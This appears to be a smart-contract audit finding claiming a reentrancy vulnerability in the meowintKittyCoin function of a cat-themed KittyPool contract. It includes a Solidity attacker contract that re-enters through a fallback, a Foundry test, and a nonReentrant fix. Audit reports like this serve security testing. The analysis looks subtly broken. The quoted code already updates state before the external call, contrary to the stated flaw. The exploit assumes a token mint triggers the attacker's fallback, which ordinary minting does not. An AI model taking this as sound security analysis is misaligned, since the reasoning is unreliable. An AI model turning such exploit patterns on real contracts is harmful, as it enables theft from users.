Summary
The meowintKittyCoin
function allows users to mint KittyCoin
tokens based on their deposited collateral. The function updates the internal state by increasing the user's minted token count and then calls the external mint
function of the KittyCoin
contract. However, it fails to properly follow the Checks-Effects-Interactions pattern, making it susceptible to a reentrancy attack.
Vulnerability Details
function meowintKittyCoin(uint256 _ameownt) external {
kittyCoinMeownted[msg.sender] += _ameownt;
i_kittyCoin.mint(msg.sender, _ameownt);
require(_hasEnoughMeowllateral(msg.sender), KittyPool__NotEnoughMeowllateralPurrrr());
}
Impact
A malicious contract could mint more tokens than the intended amount by exploiting the reentrancy issue.
Proof-of-Concept (PoC) Attack
A malicious contract was created to exploit this vulnerability. The PoC demonstrates that an attacker can call the meowintKittyCoin
function, and during the execution, re-enter the same function via a fallback function, effectively doubling the minted tokens before the external call completes.
pragma solidity 0.8.26;
import { KittyPool } from "src/KittyPool.sol";
import { KittyCoin } from "src/KittyCoin.sol";
contract MaliciousContract {
KittyPool public kittyPool;
KittyCoin public kittyCoin;
bool private attackTriggered;
uint256 public amountToMint;
constructor(address _kittyPoolAddress) {
kittyPool = KittyPool(_kittyPoolAddress);
kittyCoin = KittyCoin(kittyPool.getKittyCoin());
}
function attack(uint256 _amount) external {
amountToMint = _amount;
kittyPool.meowintKittyCoin(amountToMint);
}
fallback() external payable {
if (!attackTriggered) {
attackTriggered = true;
kittyPool.meowintKittyCoin(amountToMint);
}
}
}
Test Case Demonstration
function test_ReentrancyAttack() public {
uint256 toDeposit = 5 ether;
uint256 initialAmountToMint = 20e18;
vm.startPrank(user);
IERC20(weth).approve(address(wethVault), toDeposit);
kittyPool.depawsitMeowllateral(weth, toDeposit);
vm.stopPrank();
MaliciousContract malicious = new MaliciousContract(address(kittyPool));
vm.startPrank(user);
kittyCoin.approve(address(malicious), initialAmountToMint);
malicious.attack(initialAmountToMint);
vm.stopPrank();
uint256 finalAmountMinted = kittyPool.getKittyCoinMeownted(address(malicious));
console.log("Final amount minted by the malicious contract:", finalAmountMinted);
assert(finalAmountMinted > initialAmountToMint);
}
Tools Used
Manual review and foundry
Recommendations
Checks-Effects-Interactions pattern. Specifically:
Update State Before External Calls: Ensure that all internal state changes (such as updating the user's minted token count) are done before making external calls.
function meowintKittyCoin(uint256 _ameownt) external nonReentrant {
kittyCoinMeownted[msg.sender] += _ameownt;
require(_hasEnoughMeowllateral(msg.sender), KittyPool__NotEnoughMeowllateralPurrrr());
i_kittyCoin.mint(msg.sender, _ameownt);
}